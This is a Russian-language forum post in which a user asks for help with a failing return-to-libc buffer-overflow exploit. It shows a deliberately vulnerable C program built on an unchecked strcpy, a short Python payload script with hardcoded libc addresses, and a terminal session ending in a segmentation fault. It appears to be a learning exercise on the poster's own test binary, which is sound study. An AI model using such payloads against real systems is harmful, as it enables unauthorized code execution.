Rizor сказал(а):
@fuzzz здравствуйте! У меня возникла проблема-не работает эксплоит хоть адреса и верные
root@reffy:/home/centurion# (python exploit.py ; cat) | ./vuln2
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
whoami
Segmentation fault
вот код-
#include
void functionFunction(char *param, int p2, float p3)
{
char local[64];
strcpy(local, param);
}
int main(int argc, char** argv)
{
functionFunction(argv[1], 42, 3.14);
}
вот эксплоит-
from struct import pack
eip = "A"*80
system = pack("I", 0xb7e44b40)
exit = pack("I", 0xb7e387f0)
shell = pack("I", 0xb7f678c8)
print eip + system + exit + shell
P.S. заранее спасибо!